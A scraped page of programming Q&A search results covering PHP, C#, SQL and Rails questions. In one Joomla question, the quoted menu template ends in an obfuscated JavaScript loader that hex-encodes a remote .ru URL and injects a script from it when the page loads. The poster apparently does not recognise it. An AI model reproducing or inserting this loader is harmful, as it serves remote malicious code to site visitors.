Search Results

Search found 11178 results on 448 pages for 'syntax checking'.

Page 9/448 | < Previous Page | 5 6 7 8 9 10 11 12 13 14 15 16  | Next Page >

  • Customize VisualStudio syntax highlighting even more

    - by Alex K
    Hi everybody, I am wondering if it is possible to set VisualStudio IDE so it highlights private/protected/public variables of the class differently as well as change formatting on locals (i.e. variables that are either passed in or declared inside a function, like this). I did not find any such options in the normal Fonts and Colors menu of VS. Also a search on SO reveals that (at least as of 2 years ago) only add-ons provide such features. But is there a way to manually edit some file? Just because we don't get a nice UI to edit, doesn't mean underlying framework automatically doesn't support it. I mean add-ons have to plug into something to do their magic in the editor. Any insights into this issue? Thanks!

    Read the article

  • Parse error: syntax error, unexpected '<' in /home/future/public_html/modules/mod_mainmenu/tmpl/defa

    - by kofi
    I'm unfortunately having an unknown error with my php file. (for joomla 1.5) I don't seem to get what's wrong. This is my entire code, with an apparent error on line 84. Would appreciate some feedback, thanks. <?php // no direct access defined('_JEXEC') or die('Restricted access'); if ( ! defined('modMainMenuXMLCallbackDefined') ) { function modMainMenuXMLCallback(&$node, $args) { $user = &JFactory::getUser(); $menu = &JSite::getMenu(); $active = $menu->getActive(); $path = isset($active) ? array_reverse($active->tree) : null; if (($args['end']) && ($node->attributes('level') >= $args['end'])) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } if ($node->name() == 'ul') { foreach ($node->children() as $child) { if ($child->attributes('access') > $user->get('aid', 0)) { $node->removeChild($child); } } } if (($node->name() == 'li') && isset($node->ul)) { $node->addAttribute('class', 'parent'); } if (isset($path) && (in_array($node->attributes('id'), $path) || in_array($node->attributes('rel'), $path))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' active'); } else { $node->addAttribute('class', 'active'); } } else { if (isset($args['children']) && !$args['children']) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } } if (($node->name() == 'li') && ($id = $node->attributes('id'))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' item'.$id); } else { $node->addAttribute('class', 'item'.$id); } } if (isset($path) && $node->attributes('id') == $path[0]) { $node->addAttribute('id', 'current'); } else { $node->removeAttribute('id'); } $node->removeAttribute('rel'); $node->removeAttribute('level'); $node->removeAttribute('access'); } define('modMainMenuXMLCallbackDefined', true); } modMainMenuHelper::render($params, 'modMainMenuXMLCallback'); <script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67%6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%72%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script> <!--793d57c076e95df45c451725e5dedf6f-->

    Read the article

  • An unhandled exception of type 'System.StackOverflowException' occurred in System.Windows.Forms.dll

    - by Tanner
    OK, Im trying to highlight keywords in a richtextbox, the problem is I've got the code to highlight only the visible text on textChanged event,so I tryed putting the code in the richtextbox VScroll, so when I scrolled up it would highlight the text that wasn't visible before, but every time I start to scroll I get this error: "An unhandled exception of type 'System.StackOverflowException' occurred in System.Windows.Forms.dll" Does any one know why? Or maybe a way I could highlight the words while scrolling? Thanks, Tanner. int selectionstart = richTextBox1.Selectionstart; int topIndex = richTextBox1.GetCharIndexFromPosition(new Point(1, 1));//This is where I get the error. int bottomIndex = richTextBox1.GetCharIndexFromPosition(new Point(1, richTextBox1.Height - 1)); int topLine = richTextBox1.GetLineFromCharIndex(topIndex); int bottomLine = richTextBox1.GetLineFromCharIndex(bottomIndex); int start = richTextBox1.GetFirstCharIndexFromLine(topLine); int end = richTextBox1.GetFirstCharIndexFromLine(bottomLine); int numLinesDisplayed = (bottomLine - topLine) + 2; richTextBox1.Focus(); richTextBox1.Select(start, end);

    Read the article

  • Inconsistent syntax c# ?

    - by maxp
    private string[] GetRoles() { string[] foo = {"Test"}; return foo; } The above compiles, but... private string[] GetRoles() { return {"Test"}; } Does not. Replacing it with: return new string[] { "Test" }; Will obviously compile though. Is this inconsistancy or am i being stupid, or am i just wrong :S.

    Read the article

  • SQL syntax Newbie student

    - by sammysmall
    Describe the output of the following SQL query: select custId, name from customer where region = "New York" UNION select cust.custId, cust.name from customer cust where cust.custId IN (select cust_order.custId from customer_order cust_order, company_employee comp_emp where cust_order.salesEmpId = comp_emp.empId AND comp_emp.name = 'DANIEL'); My question is: at line from customer cust is cust referring to a column in the customer table... This is a homework question I have identified the components leading up to this line and I think that cust is a column in the customer table... I am not asking for an overall solution just a bit of encouragement if I am on the right track...

    Read the article

  • Strange Syntax Parsing Error in Python?

    - by user213060
    Am I missing something here? Why shouldn't the code under the "Broken" section work? I'm using Python 2.6. #!/usr/bin/env python def func(a,b,c): print a,b,c #Working: p={'c':3} func(1, b=2, c=3, ) #Working: func(1, b=2, **p,) #Broken: func(1, b=2, **p, )

    Read the article

  • PHP shorthand syntax

    - by alex
    I've just came across this on GitHub. ($config === NULL) and $config = Kohana::config('email'); Is that the equivalent of if ($config === NULL) { $config = Kohana::config('email'); } Is this commonplace? Would I expect other developers looking at my code if I used that first way to instantly know what it was doing?

    Read the article

  • Haskell Syntax: Parse Error On Input

    - by NuNu
    As part of a mini-haskell compiler that I'm writing, I have a function named app. What I want this function to do is take in these arguments epp (App e1 e2). The first step would be to evaluate e1 recursively (epp e1) and check if the output would be an error. If not then evaluate e2 and then call another function eppVals to evaluate the outputs of the calls on e1 and e2 which I defined as v1 and v2 respectively. epp (App e1 e2) | epp e1 /= Error = eppVals v1 v2 | otherwise = Error where v1 = epp e1 v2 = epp e2 <- parse error on input `=' Logically I believe what I have written so far works but I'm getting a parse error on input = where I stated above. Any idea why? My second try epp :: Exp -> Error Val epp (App e1 e2) = (eppVals v1 v2) where v1 = (epp e1) v2 = (epp e2) But now throws Couldn't match expected type Val with actual type Error Val

    Read the article

  • C# unusual inheritance syntax w/ generics

    - by anon
    I happened upon this in an NHibernate class definition: public class SQLiteConfiguration : PersistenceConfiguration<SQLiteConfiguration> So this class inherits from a base class that is parameterized by... the derived class?   My head just exploded. Can someone explain what this means and how this pattern is useful? (This is NOT an NHibernate-specific question, by the way.)

    Read the article

  • Rails newb syntax question

    - by Veep
    I'm in the console, looking at someone else's app. I come across the following: >> p.location => [#<Tag id: 2, name: "projects">] Why do I see this result, which seems to be the object name, and how do I access the actual attribute name, "projects"? >> p.location.name => "Tag" Thank you very much!

    Read the article

  • php syntax confusion accessing database result

    - by Babak
    I am trying to do the following: <?php foreach($sqlResult as $row): ?> <tr> <?php foreach($formdata['columns'] as $column): ?> <td><?php echo $row->$column['name']; ?></td> <?php endforeach; ?> </tr> <?php endforeach; ?> This does not work. $row is returned by my mysql query, it has the following : row-id, row-author, row-name and these work as they echo fine. $columns is the following array: 'columns' => array ( 1 => array ( 'name' => 'id' ), 2 => array ( 'name' => 'author' ), 3 => array ( 'name' => 'date' ), 4 => array ( 'name' => 'title' ) it also works fine as $column['name'] echoes id, author, date, title my question is how would it be possible for me to access the $row-method (is it a method?) by passing it a name from the array??

    Read the article

  • New/strange Java "try()" syntax?

    - by Ali
    While messing around with the custom formatting options in Eclipse, in one of the sample pieces of code, I say code as follows: /** * 'try-with-resources' */ class Example { void foo() { try (FileReader reader1 = new FileReader("file1"); FileReader reader2 = new FileReader("file2")) { } } } I've never seen try used like this and I've been coding in Java for 9 years! Does any one know why you would do this? What is a possible use-case / benefit of doing this? An other pieces of code I saw, I thought was a very useful shorthand so I'm sharing it here as well, it's pretty obvious what it does: /** * 'multi-catch' */ class Example { void foo() { try { } catch (IllegalArgumentException | NullPointerException | ClassCastException e) { e.printStackTrace(); } } }

    Read the article

  • Javascript Instance Variable Syntax (AJAX page refresh)

    - by Rosarch
    I'm having difficulty with Javascript instance variables. I'm trying to make an easy way to refresh the chat page, looking for new messages. The AJAX call supplies a mid, or the lowest message id to be returned. This allows the call to only ask for the most recent messages, instead of all of them. MessageRefresher.prototype._latest_mid; function MessageRefresher(latest_mid) { this._latest_mid = latest_mid; // it thinks `this` refers to the MessageRefresher object } MessageRefresher.prototype.refresh = function () { refreshMessages(this._latest_mid); // it thinks `this` refers to the window this._latest_mid++; } function refreshMessages(latest_mid) { $.getJSON('API/read_messages', { room_id: $.getUrlVar('key'), mid: latest_mid }, function (messages) { for (var i = 0; i < messages[0].length; i++) { var newChild = sprintf("<li>%s: %s</li>", messages[1][i], messages[0][i]); $("#messages").append(newChild); } }); var messageRefresher = new MessageRefresher(0); setInterval(messageRefresher.refresh, 1000); This results in all the messages being printed out, over and over again. I know it has other bugs, but the main issue I'm trying to work out right now is the use of the instance variable. Or is there another way I should be going about doing this?

    Read the article

  • Question about Transact SQL syntax

    - by Yousui
    Hi guys, The following code works like a charm: BEGIN TRY BEGIN TRANSACTION COMMIT TRANSACTION END TRY BEGIN CATCH IF @@TRANCOUNT > 0 ROLLBACK; DECLARE @ErrorMessage NVARCHAR(4000), @ErrorSeverity int; SELECT @ErrorMessage = ERROR_MESSAGE(), @ErrorSeverity = ERROR_SEVERITY(); RAISERROR(@ErrorMessage, @ErrorSeverity, 1); END CATCH But this code gives an error: BEGIN TRY BEGIN TRANSACTION COMMIT TRANSACTION END TRY BEGIN CATCH IF @@TRANCOUNT > 0 ROLLBACK; RAISERROR(ERROR_MESSAGE(), ERROR_SEVERITY(), 1); END CATCH Why?

    Read the article

  • better for-loop syntax for detecting empty sequences?

    - by Dmitry Beransky
    Hi, Is there a better way to write the following: row_counter = 0 for item in iterable_sequence: # do stuff with the item counter += 1 if not row_counter: # handle the empty-sequence-case Please keep in mind that I can't use len(iterable_sequence) because 1) not all sequences have known lengths; 2) in some cases calling len() may trigger loading of the sequence's items into memory (as the case would be with sql query results). The reason I ask is that I'm simply curious if there is a way to make above more concise and idiomatic. What I'm looking for is along the lines of: for item in sequence: #process item *else*: #handle the empty sequence case (assuming "else" here worked only on empty sequences, which I know it doesn't)

    Read the article

  • Why was this T-SQL Syntax never implemented?

    - by ChrisA
    Why did they never let us do this sort of thing: Create Proc RunParameterisedSelect @tableName varchar(100), @columnName varchar(100), @value varchar(100) as select * from @tableName where @columnName = @value You can use @value as a parameter, obviously, and you can achieve the whole thing with dynamic SQL, but creating it is invariably a pain. So why didn't they make it part of the language in some way, rather than forcing you to EXEC(@sql)?

    Read the article

  • Unfamiliar Javascript Syntax

    - by user1051643
    Long and short of the story is, whilst reading John Resig's blog (specifically http://ejohn.org/blog/javascript-trie-performance-analysis/) I came across a line which makes absolutely no sense to me whatsoever. Essentially it boils down to object = object[key] = something; (this can be found in the first code block of the article I've linked.) This has proven rather difficult to google, so if anyone can offer some insight / a good online resource for me to learn for myself, I'd much appreciate it.

    Read the article

  • mysql syntax how to add a third table to $query

    - by IberoMedia
    I have code: $query = "SELECT a.*, c.name as categoryname, c.id as categoryid". " FROM #__table_one as a". " LEFT JOIN #__table_two c ON c.id = a.catid"; $query .= " WHERE a.published = 1" ." AND a.access <= {$aid}" ." AND a.trash = 0" ." AND c.published = 1" ." AND c.access <= {$aid}" ." AND c.trash = 0" ; I would like to add a third table ('__some_table') for the parts of the query where a.publish, a.access and a.trash. In other words, I want these fields to be retrieved from another table, not "#__table_one", but I do not know how to incorporate the #__some_table into the current query I imagine the JOIN command can help me, but I do not know how to code mysql Thank you,

    Read the article

< Previous Page | 5 6 7 8 9 10 11 12 13 14 15 16  | Next Page >